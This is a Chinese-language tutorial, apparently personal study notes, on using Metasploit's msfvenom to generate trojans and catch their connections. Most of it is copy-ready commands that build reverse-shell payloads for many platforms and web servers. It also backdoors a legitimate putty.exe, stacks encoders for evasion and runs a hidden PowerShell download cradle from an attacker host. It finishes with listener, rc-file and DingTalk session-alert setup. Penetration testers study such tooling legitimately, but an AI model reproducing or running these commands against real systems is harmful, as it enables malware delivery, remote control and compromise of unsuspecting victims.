
==注意:本篇文章仅用于学习笔记记录与交流,不得用于其他违规用途。==
一、Msfvenom介绍
msf自带的有对应各个平台生成木马的工具msfvenom,而且不需要进入msf控制台,直接在命令行输入命令即可。
二、Msfvenom参数介绍
1、-l
列出指定模块的所有可用资源 , 模块类型包括 : payloads, encoders, nops, platforms, archs, encrypt, formats, all
2、-p
指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用
msfvenom -p windows/meterpreter/reverse_tcp --list-options3、-f
指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)
msfvenom  --list formats4、-e
指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload如果你想查看所有支持的编码类型 , 使用
msfvenom --list encoders5、-a
指定payload的目标架构,例如x86 | x64 | x86_64如果你想查看所有支持的架构 , 使用
msfvenom --list archs6、-o
指定创建好的payload的输出位置 , 没啥好说的7、-b
设定规避字符集,指定需要过滤的坏字符例 , 一般是和生成shellcode搭配使用
8、-n
为payload预先指定一个NOP滑动长度
9、-s
设定有效攻击荷载的最大长度,就是文件大小
10、-i
指定payload的编码次数 , 后面接次数,表示编码的次数
11、-c
添加自己的shellcode , 需要自己编写shellcode
12、-x|-k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
13、-v
指定一个自定义的变量,以确定输出格式
14、-t
从STDIN读取有效负载时等待的秒数(默认值为30,0表示禁用), 一般默认即可
15、-h
查看帮助信息 , 没啥好说的
三、Msfvenom生成实例
1、生成一个windows木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.159 LPORT=8804 -f exe -o /tmp/payload.exe
2、规避指定字符
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b '\x00' -f exe -o shell.exe
-b 替换代码中会出现中断的字符3、指定编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b 'x00' -e x86/shikata_ga_nai -f exe -o shell.exe4、绑定后门到其他可执行程序上
msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -x /tmp/putty.exe -k -f exe -o /tmp/puuty_bind.exe5、Windows木马
msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o /tmp/back.exe6、Linux木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf -o /tmp/shell.elf7、Mac木马
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho -o shell.macho8、Android木马
msfvenom -a x86 --platform android -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8004 R> /tmppayload.apk9、Powershell木马
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps110、PHP木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php11、ASP木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -o shell.asp12、ASPX木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx -o shell.aspx13、JSP木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell14、War木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war -o shell.war15、nodejs木马
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js16、Bash木马
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw -o shell.sh17、Perl木马
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.pl18、Python木马
msfvenom -p python/meterpreter_reverse_http LHOST=IP LPORT=7878 -f raw -o shell.py19、ruby木马
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb20、lua木马
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua21、exe利用exec执行powershell
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c M.proxy=[Net.WebRequest]::GetSystemWebProxy();M.downloadstring('http://IP:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe22、windows shellcode
msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c23、linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c24、mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c四、MSF监听
当目标主机执行反弹木马后,会回连当前机器 ,需要设置端口监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.48 LPORT=8000 -f exe -o /tmp/payload.exe
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IP    # msf好像不支持监听本地ip , 变成0.0.0.0了
set lport 4444
run五、MSF和钉钉联动
1、创建群
2、创建群机器人

3、复制webhook

4、msf中打开钉钉通知
5、测试
进入msf后
load -l
load session_notifier 
set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?access_token=你的token
start_session_notifier
常规监听,run
如果msf放后台
apt install screen
screen -S msf                               # 创建一个screen
ctrl + a + d                                   # 回到主窗口
screen -ls                                      # 列出所有的screen
screen -x msf                               # 恢复之前离线的screen作业
screen -S 名字  -X quit                 #  kill掉一个screen六、RC文件
如果你觉得每次 , 设置监听比较麻烦 , 你也可以将这些命令写进一个rc文件
cat handler.rc 
use exploit/multi/handler
set lhost 0.0.0.0
set lport 5656
set payload windows/meterpreter/reverse_tcp
run -j
msfconsole -r handler.rc或者一条命令监听
handler -p windows/meterpreter/reverse_tcp -H IP -P 8899
 
         
             京公网安备11010802044340号
京公网安备11010802044340号